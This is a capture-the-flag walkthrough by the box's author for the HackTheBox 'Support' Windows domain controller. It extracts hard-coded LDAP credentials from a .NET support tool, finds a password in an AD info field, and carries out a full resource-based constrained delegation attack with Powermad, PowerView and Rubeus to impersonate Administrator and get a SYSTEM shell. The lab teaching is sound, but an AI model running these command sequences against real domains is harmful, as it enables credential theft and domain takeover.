Support is a box used by an IT staff, and one authored by me! I’ll start by getting a custom .NET tool from an open SMB share. With some light .NET reversing, through dynamic analysis, I can get the credentials for an account from the binary. With those, I’ll enumerate LDAP and find a password in an info field on a shared account. That account has full privileges over the DC machine object, and I’ll abuse that to dump the administrator hash and get full access to the box.

Box Info

Name Support Support
Play on HackTheBox
Release Date 30 Jul 2022
Retire Date 17 Dec 2022
OS Windows Windows
Base Points Easy [20]
Rated Difficulty Rated difficulty for Support
Radar Graph Radar chart for Support
First Blood User 00:10:31lynx
First Blood Root 00:30:37Sm1l3z

Author’s Note

Support is the 4th box I’ve had the pleasure of having published on HackTheBox. If you’re not interested in the background of the box, feel free to skip ahead to Recon.

The inspiration for Support came from Episode 521 of the Seven Minute Security (or 7MS) podcast. In this episode the host is talking about a pentest they did where they found credentials for a shared account in LDAP data, and that shared account had GenericAll on the DC. I thought, this could make a nice, realistic easy box.

The only thing left was to figure out how to get starting credentials. In the real pentest, they start with an account on the domain. HTB users won’t have that. I went with a support tool. To keep it easy, I wanted to use .NET, as reversing .NET is more like source code analysis, and thus could still fit in the easy level on HTB. This meant I got to spend some time learning more C# (which I hate). And thanks to IppSec for the brainstorming on this - I believe the idea of putting creds here was actually his idea.

So the story of the box is that it’s used by the IT support staff. They have a bunch of tools in an open share, including this UserInfo.exe, which can help quickly get information about other users on the domain. To do that, it has hard-coded credentials, which the player can extract and continue.



nmap finds many open TCP ports:

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2022-12-14 20:52 UTC
Nmap scan report for
Host is up (0.088s latency).
Not shown: 65517 filtered ports
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
49674/tcp open  unknown
49686/tcp open  unknown
49700/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
oxdf@hacky$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV
Starting Nmap 7.80 ( ) at 2022-12-14 21:05 UTC
Nmap scan report for
Host is up (0.088s latency).

53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-12-14 21:05:12Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-12-14T21:07:32
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 305.61 seconds

This is clearly a Windows host, and likely a Domain Controller based on the presence of Kerberos (88), DNS (53), LDAP (389, 3268 and 3269), etc. nmap doesn’t give much detail about beyond that. It does note the hostname DC and the domain support.htb, so I’ll add both to my /etc/hosts file: support.htb

Enumeration Strategy

When facing a Windows server with so many ports, I’ll typically start working them prioritized by my comfort level. I’ll generate a tiered list, with some rough ideas of what I might look for on each:

  • Must Look AT
    • SMB - Look for any open shares and see what I might find there.
    • LDAP - Can I get any information without credentials?
  • If those fail
    • Kerberos - Can I brute force usernames? If I find any, are they AS-REP-Roast-able?
    • DNS - Can I do a zone transfer? Brute force any subdomains?
    • RPC - Is anonymous access possible?
  • Note for creds
    • WinRM - If I can find creds for a user in the Remote Management Users group, I can get a shell

LDAP - TCP 389

I’ll use ldapsearch to get the base naming contexts from Support:

oxdf@hacky$ ldapsearch -h support.htb -x -s base namingcontexts
# extended LDIF
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 

namingcontexts: DC=support,DC=htb
namingcontexts: CN=Configuration,DC=support,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=support,DC=htb
namingcontexts: DC=DomainDnsZones,DC=support,DC=htb
namingcontexts: DC=ForestDnsZones,DC=support,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Unfortunately, to search any more, it says I need auth (“a successful bind”):

oxdf@hacky$ ldapsearch -h support.htb -x -b "DC=support,DC=htb"
# extended LDIF
# LDAPv3
# base <DC=support,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5A, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4f7c

# numResponses: 1

SMB - TCP 445

General Info

crackmapexec shows the hostname (DC) and the domain (support.htb)

oxdf@hacky$ crackmapexec smb support.htb
SMB  445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)


crackmapexec isn’t able to list any shares:

oxdf@hacky$ crackmapexec smb support.htb --shares
SMB  445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB  445    DC               [-] Error enumerating shares: STATUS_USER_SESSION_DELETED

But smbclient does:

oxdf@hacky$ smbclient -N -L //support.htb

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

I’m not able to connect to the three administrative shares without creds.

I can connect to NETLOGON and SYSVOL, but can’t list them:

oxdf@hacky$ smbclient -N //support.htb/NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls

oxdf@hacky$ smbclient -N //support.htb/SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls


I am able to connect to and list the support-tools share:

oxdf@hacky$ smbclient -N //support.htb/support-tools
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 17:01:06 2022
  ..                                  D        0  Sat May 28 11:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 11:19:19 2022          A  5439245  Sat May 28 11:19:55 2022
  putty.exe                           A  1273576  Sat May 28 11:20:06 2022               A 48102161  Sat May 28 11:19:31 2022                    A   277499  Wed Jul 20 17:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 11:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 11:19:43 2022

                4026367 blocks of size 4096. 969835 blocks available

It looks like just that, a bunch of support tools. All of these are publicly available tools, except for UserInfo.exe. I’ll grab that file:

smb: \> get 
getting file \ of size 277499 as (424.1 KiloBytes/sec) (average 424.1 KiloBytes/sec)

The archive has a bunch of files, mostly dynamic libraries, but also an executable:

oxdf@hacky$ unzip -l 
  Length      Date    Time    Name
---------  ---------- -----   ----
    12288  2022-05-27 17:51   UserInfo.exe
    99840  2022-03-01 18:18   CommandLineParser.dll
    22144  2021-10-22 23:42   Microsoft.Bcl.AsyncInterfaces.dll
    47216  2021-10-22 23:48   Microsoft.Extensions.DependencyInjection.Abstractions.dll
    84608  2021-10-22 23:48   Microsoft.Extensions.DependencyInjection.dll
    64112  2021-10-22 23:51   Microsoft.Extensions.Logging.Abstractions.dll
    20856  2020-02-19 10:05   System.Buffers.dll
   141184  2020-02-19 10:05   System.Memory.dll
   115856  2018-05-15 13:29   System.Numerics.Vectors.dll
    18024  2021-10-22 23:40   System.Runtime.CompilerServices.Unsafe.dll
    25984  2020-02-19 10:05   System.Threading.Tasks.Extensions.dll
      563  2022-05-27 16:59   UserInfo.exe.config
---------                     -------
   652675                     12 files

I’ll unzip it into a directory:

oxdf@hacky$ mkdir UserInfo
oxdf@hacky$ unzip -d UserInfo
  inflating: UserInfo/UserInfo.exe   
  inflating: UserInfo/CommandLineParser.dll  
  inflating: UserInfo/Microsoft.Bcl.AsyncInterfaces.dll  
  inflating: UserInfo/Microsoft.Extensions.DependencyInjection.Abstractions.dll  
  inflating: UserInfo/Microsoft.Extensions.DependencyInjection.dll  
  inflating: UserInfo/Microsoft.Extensions.Logging.Abstractions.dll  
  inflating: UserInfo/System.Buffers.dll  
  inflating: UserInfo/System.Memory.dll  
  inflating: UserInfo/System.Numerics.Vectors.dll  
  inflating: UserInfo/System.Runtime.CompilerServices.Unsafe.dll  
  inflating: UserInfo/System.Threading.Tasks.Extensions.dll  
  inflating: UserInfo/UserInfo.exe.config  

Auth as ldap


Run UserInfo.exe

The EXE is a 32-bit .NET executable:

oxdf@hacky$ file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Switching over to a Windows VM, running UserInfo.exe returns help information:

PS > .\UserInfo.exe

Usage: UserInfo.exe [options] [commands]

  -v|--verbose        Verbose output

  find                Find a user
  user                Get information about a user

All the DLLs and the .config file must be in the same directory, or it returns an error like this:

PS > .\UserInfo.exe

Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'CommandLineParser, Version=, Culture=neutral, PublicKeyToken=null' or one of its dependencies. The system cannot find the file specified.
   at UserInfo.Program.Main(String[] args)
   at UserInfo.Program.<Main>(String[] args)

If I run either find or user with -h, it prints help for each. For example:

PS > .\UserInfo.exe user -h

Usage: UserInfo.exe user [options]

  -username           Username

Either command hangs for a bit and then returns an error on running:

PS > .\UserInfo.exe user -username 0xdf
[-] Exception: The server is not operational.


Given the mention of the server, I’ll open Wireshark and run it again. It’s looking for support.htb:


I’ll update C:\Windows\System32\drivers\etc\hosts just like on Linux, and connect my VPN in this Windows host so that I can talk to Support. Now it reports that it can’t find my username:

PS > .\UserInfo.exe user -username 0xdf
[-] Unable to locate 0xdf. Please try the find command to get the user's username.

find requires either -first or -last:

PS > .\UserInfo.exe -v find
[-] At least one of -first or -last is required.
PS > .\UserInfo.exe find -first john
[-] No users identified with that query.

With -v, it prints the LDAP query it’s using:

PS > .\UserInfo.exe -v find -first john
[*] LDAP query to use: (givenName=john)
[-] No users identified with that query.

I can do some basic LDAP injection and get all users with a first name:

PS > .\UserInfo.exe find -first '*'

With a valid name, it prints info about the user that a support team might need:

PS > .\UserInfo.exe user -username smith.rosario
First Name:           rosario
Last Name:            smith
Contact:              smith.rosario@support.htb
Last Password Change: 5/28/2022 7:12:19 AM

Recover LDAP Password


I could go further into the LDAP injection, but given that it’s making LDAP queries against Support, and I already showed that these queries require auth, I’ll look at the binary to locate credentials.

I’ll open UserInfo.exe in DNSpy.


LdapQuery seems like a good place to start. There are two functions, printUser and query, which likely match up with the two commands. The constructor is most interesting:

		public LdapQuery()
			string password = Protected.getPassword();
			this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
			this.entry.AuthenticationType = AuthenticationTypes.Secure;
			this.ds = new DirectorySearcher(this.entry);

It’s loading a password, and then connecting to LDAP with the user SUPPORT\ldap and that password.

I need to look at the Protected.getPassword() function (and really that entire class):

using System;
using System.Text;

namespace UserInfo.Services
	// Token: 0x02000006 RID: 6
	internal class Protected
		// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
		public static string getPassword()
			byte[] array = Convert.FromBase64String(Protected.enc_password);
			byte[] array2 = array;
			for (int i = 0; i < array.Length; i++)
				array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
			return Encoding.Default.GetString(array2);

		// Token: 0x04000005 RID: 5
		private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

		// Token: 0x04000006 RID: 6
		private static byte[] key = Encoding.ASCII.GetBytes("armando");

I’ll decrypt the password using a Python terminal:

oxdf@hacky$ python
Python 3.8.10 (default, Mar 15 2022, 12:22:08) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from base64 import b64decode
>>> from itertools import cycle
>>> pass_b64 = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
>>> key = b"armando"
>>> enc = b64decode(pass_b64)
>>> [e^k^223 for e,k in zip(enc, cycle(key))]
[110, 118, 69, 102, 69, 75, 49, 54, 94, 49, 97, 77, 52, 36, 101, 55, 65, 99, 108, 85, 102, 56, 120, 36, 116, 82, 87, 120, 80, 87, 79, 49, 37, 108, 109, 122]
>>> bytearray([e^k^223 for e,k in zip(enc, cycle(key))]).decode()


On my Linux system, I’ve got the .NET framework installed, which comes with the mono binary, which can be used to run this binary as well. If I open Wireshark and run the binary, I’ll capture the authentication in the LDAP stream:


This can also be seen in the packet that Wireshark labels as “bindRequest”:


Interestingly, this doesn’t work on Windows. I’ll dig a bit in Beyond Root.

Verify Creds

crackmapexec is a nice way to quickly show these creds work:

oxdf@hacky$ crackmapexec smb support.htb -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB  445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB  445    DC               [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz 

Shell as support


Whenever I find creds on Windows, I’ll run Bloodhound. Since I don’t have a shell, I’ll use the Python version:

oxdf@hacky$ bloodhound-python -c ALL -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns
INFO: Found AD domain: support.htb
INFO: Connecting to LDAP server:
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server:
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer:
INFO: Done in 00M 13S

I’ll load that info into Bloodhound, and mark ldap as owned. Looking at outbound control, there’s nothing really interesting.


ldapsearch will show all the items in the AD, which I can look through:

oxdf@hacky$ ldapsearch -h support.htb -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"| less

There’s a user named support with an interesting info field:

# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support

“Ironside47pleasure40Watchful” looks like it could be a password, and given no first or last name, this looks like a shared account, so it makes sense that the password may be stored here.

I could see the same information with ldapdomaindump:

oxdf@hacky$ ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' support.htb -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

It’s important to note that the info shows up in the .json file, but not the .html:

oxdf@hacky$ grep Ironside *
domain_users.json:            "Ironside47pleasure40Watchful"


Looking at the Bloodhound data, support shows up there as a member of Remote Management Users:


crackmapexec confirms:

oxdf@hacky$ crackmapexec winrm support.htb -u support -p 'Ironside47pleasure40Watchful'
SMB  5985   DC               [*] Windows 10.0 Build 20348 (name:DC) (domain:support.htb)
HTTP  5985   DC               [*]
WINRM  5985   DC               [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)

I’ll connect with evil-winrm and get a shell:

oxdf@hacky$ evil-winrm -i support.h -u support -p 'Ironside47pleasure40Watchful'

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\support\Documents> 

And user.txt:

*Evil-WinRM* PS C:\Users\support\desktop> type user.txt

Shell as domainadmin


Looking at the Bloodhound data again, the support user is a member of the Shared Support Accounts group, which has GenericAll on the computer object, DC.SUPPORT.HTB:


Get Domain TGT

This video from SpectorOps shows how to abuse this privilege to get full domain access, and is worth a watch:

This Gist also has the commands.

I’m going to abuse resource-based constrained delegation. First I’ll add a fake computer to the domain under my control. Then I can act as the DC to request Kerberos tickets for the fake computer giving the ability to impersonate other accounts, like Administrator. For this to work, I’ll need an authenticated user who can add machines to the domain (by default, any user can add up to 10). This is configured in the ms-ds-machineaccountquota attribute, which needs to be larger than 0. Finally, I need write privileges over a domain joined computer (which GenericALL on the DC gets me.)

Pull in Support Scripts / Exe

I’ll need three scripts to complete this attack:

I’ll upload these and import the two PowerShell scripts into my session:

*Evil-WinRM* PS C:\programdata> upload /opt/PowerSploit/Recon/PowerView.ps1
Info: Uploading /opt/PowerSploit/Recon/PowerView.ps1 to C:\programdata\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\programdata> upload /opt/Powermad/Powermad.ps1
Info: Uploading /opt/Powermad/Powermad.ps1 to C:\programdata\Powermad.ps1

Data: 180780 bytes of 180780 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\programdata> upload /opt/SharpCollection/NetFramework_4.5_x64/Rubeus.exe
Info: Uploading /opt/SharpCollection/NetFramework_4.5_x64/Rubeus.exe to C:\programdata\Rubeus.exe
Data: 369320 bytes of 369320 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> . .\Powermad.ps1

Verify Environment

I’ll need to know the administrator on DC, which Bloodhound tells me is administrator@support.htb:


I’ll verify that users can add machines to the domain:

*Evil-WinRM* PS C:\programdata> Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota


The quote is set to the default of 10, which is good.

I’ll also need to make sure there’s a 2012+ DC in the environment:

*Evil-WinRM* PS C:\programdata> Get-DomainController | select name,osversion | fl

Name      :
OSVersion : Windows Server 2022 Standard

2022 Standard is great.

Finally, I’ll want to check that the msds-allowedtoactonbehalfofotheridentity is empty:

*Evil-WinRM* PS C:\programdata> Get-DomainComputer DC | select name,msds-allowedtoactonbehalfofotheridentity | fl

name                                     : DC
msds-allowedtoactonbehalfofotheridentity :

It is.

Create FakeComputer

I’ll use the Powermad New-MachineAccount to create a fake computer:

*Evil-WinRM* PS C:\programdata> New-MachineAccount -MachineAccount 0xdfFakeComputer -Password $(ConvertTo-SecureString '0xdf0xdf123' -AsPlainText -Force)
[+] Machine account 0xdfFakeComputer added

I need the SID of the computer object as well, so I’ll save it in a variable:

*Evil-WinRM* PS C:\programdata> $fakesid = Get-DomainComputer 0xdfFakeComputer | select -expand objectsid
*Evil-WinRM* PS C:\programdata> $fakesid


Now I’ll configure the DC to trust my fake computer to make authorization decisions on it’s behalf. These commands will create an ACL with the fake computer’s SID and assign that to the DC:

*Evil-WinRM* PS C:\programdata> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakesid))"
*Evil-WinRM* PS C:\programdata> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\programdata> $SD.GetBinaryForm($SDBytes, 0)
*Evil-WinRM* PS C:\programdata> Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

I’ll verify it worked:

*Evil-WinRM* PS C:\programdata> $RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
*Evil-WinRM* PS C:\programdata> $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
*Evil-WinRM* PS C:\programdata> $Descriptor.DiscretionaryAcl

BinaryLength       : 36
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-1121
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None

There is an ACL with the SecurityIdentifier of my fake computer and it says AccessAllowed.

I can also re-run Bloodhound now:

oxdf@hacky$ bloodhound-python -c ALL -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer:
WARNING: Could not resolve: The DNS query name does not exist:
INFO: Done in 00M 14S

It calls out that it can’t find, which makes sense. It shows this new permission:


Auth as Fake Computer

I’ll use Rubeus to get the hash of my fake computer account:

*Evil-WinRM* PS C:\programdata> .\Rubeus.exe hash /password:0xdf0xdf123 /user:0xdfFakeComputer /domain:support.htb
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/


[*] Action: Calculate Password Hash(es)

[*] Input password             : 0xdf0xdf123
[*] Input username             : 0xdfFakeComputer
[*] Input domain               : support.htb
[*] Salt                       : SUPPORT.HTB0xdffakecomputer
[*]       rc4_hmac             : B1809AB221A7E1F4545BD9E24E49D5F4
[*]       aes128_cts_hmac_sha1 : F7A01B9628299B9FB8A93CFCCF8E747C
[*]       aes256_cts_hmac_sha1 : 90499A3696F8B07B9CDB02E919F193768519340F7812F6050177E6997262B6F0
[*]       des_cbc_md5          : 76EF4F97ADD99176

I need the one labeled rc4_hmac, which I’ll pass to Rubeus to get a ticket for administrator:

*Evil-WinRM* PS C:\programdata> .\Rubeus.exe s4u /user:0xdfFakeComputer$ /rc4:B1809AB221A7E1F4545BD9E24E49D5F4 /impersonateuser:administrator /msdsspn:cifs/ /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/


[*] Action: S4U

[*] Using rc4_hmac hash: B1809AB221A7E1F4545BD9E24E49D5F4
[*] Building AS-REQ (w/ preauth) for: 'support.htb\0xdfFakeComputer$'
[+] TGT request successful!
[*] base64(ticket.kirbi):


[*] Action: S4U

[*] Using domain controller: (fe80::4995:178:63d7:93c1%6)
[*] Building S4U2self request for: '0xdfFakeComputer$@SUPPORT.HTB'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'administrator' to '0xdfFakeComputer$@SUPPORT.HTB'
[*] base64(ticket.kirbi):


[*] Impersonating user 'administrator' to target SPN 'cifs/'
[*] Using domain controller: (fe80::4995:178:63d7:93c1%6)
[*] Building S4U2proxy request for service: 'cifs/'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/':

[+] Ticket successfully imported!

Use Ticket


In theory, I should be able to use this ticket right now. Rubeus shows the ticket in this session:

*Evil-WinRM* PS C:\programdata> .\Rubeus.exe klist
Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0x65f382

  UserName                 : support
  Domain                   : SUPPORT
  LogonId                  : 0x65f382
  UserSID                  : S-1-5-21-1677581083-3380853377-188903654-1105
  AuthenticationPackage    : NTLM
  LogonType                : Network
  LogonTime                : 5/27/2022 12:15:24 PM
  LogonServer              : DC
  LogonServerDNSDomain     : support.htb
  UserPrincipalName        : support@support.htb

    [0] - 0x12 - aes256_cts_hmac_sha1
      Start/End/MaxRenew: 5/27/2022 12:38:17 PM ; 5/27/2022 10:38:17 PM ; 6/3/2022 12:38:17 PM
      Server Name       : cifs/ @ SUPPORT.HTB
      Client Name       : administrator @ SUPPORT.HTB
      Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

For me, it doesn’t work.

Remote Use

I’ll grab the last ticket Rubeus generated, and copy it back to my machine, saving it as ticket.kirbi.b64, making sure to remove all spaces. I’ll base64 decode it into ticket.kirbi:

oxdf@hacky$ base64 -d ticket.kirbi.b64 > ticket.kirbi

Now I need to convert it to a format that Impact can use:

oxdf@hacky$ ticket.kirbi ticket.ccache
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[*] converting kirbi to ccache...
[+] done

I can use this to get a shell using

oxdf@hacky$ KRB5CCNAME=ticket.ccache support.htb/ -k -no-pass
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file aXlgPfYK.exe
[*] Opening SVCManager on
[*] Creating service lyPY on
[*] Starting service lyPY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.405]
(c) Microsoft Corporation. All rights reserved.


And grab root.txt:

C:\Users\Administrator\Desktop> type root.txt

Beyond Root

Above, I pulled the LDAP creds out of Wireshark. It turns out this only works on Linux, not Windows (at least as far as I could figure out).

I’ll note on Linux (for example mono UserInfo.exe find -first 0xdf) the conversation looks like this:


The most important part is the bindRequest(1) for the support\ldap user with “simple” auth.

The same run on Windows shows this:


The bindRequest this time is using “NTLMSSP_NEGOTIATEsasl”. This is a more secure form of auth where passwords are not passed in the clear. The TCP stream looks like:


IppSec and I spent 30 minutes trying to figure out if we could tell Windows to only use the insecure simple auth, but couldn’t force it.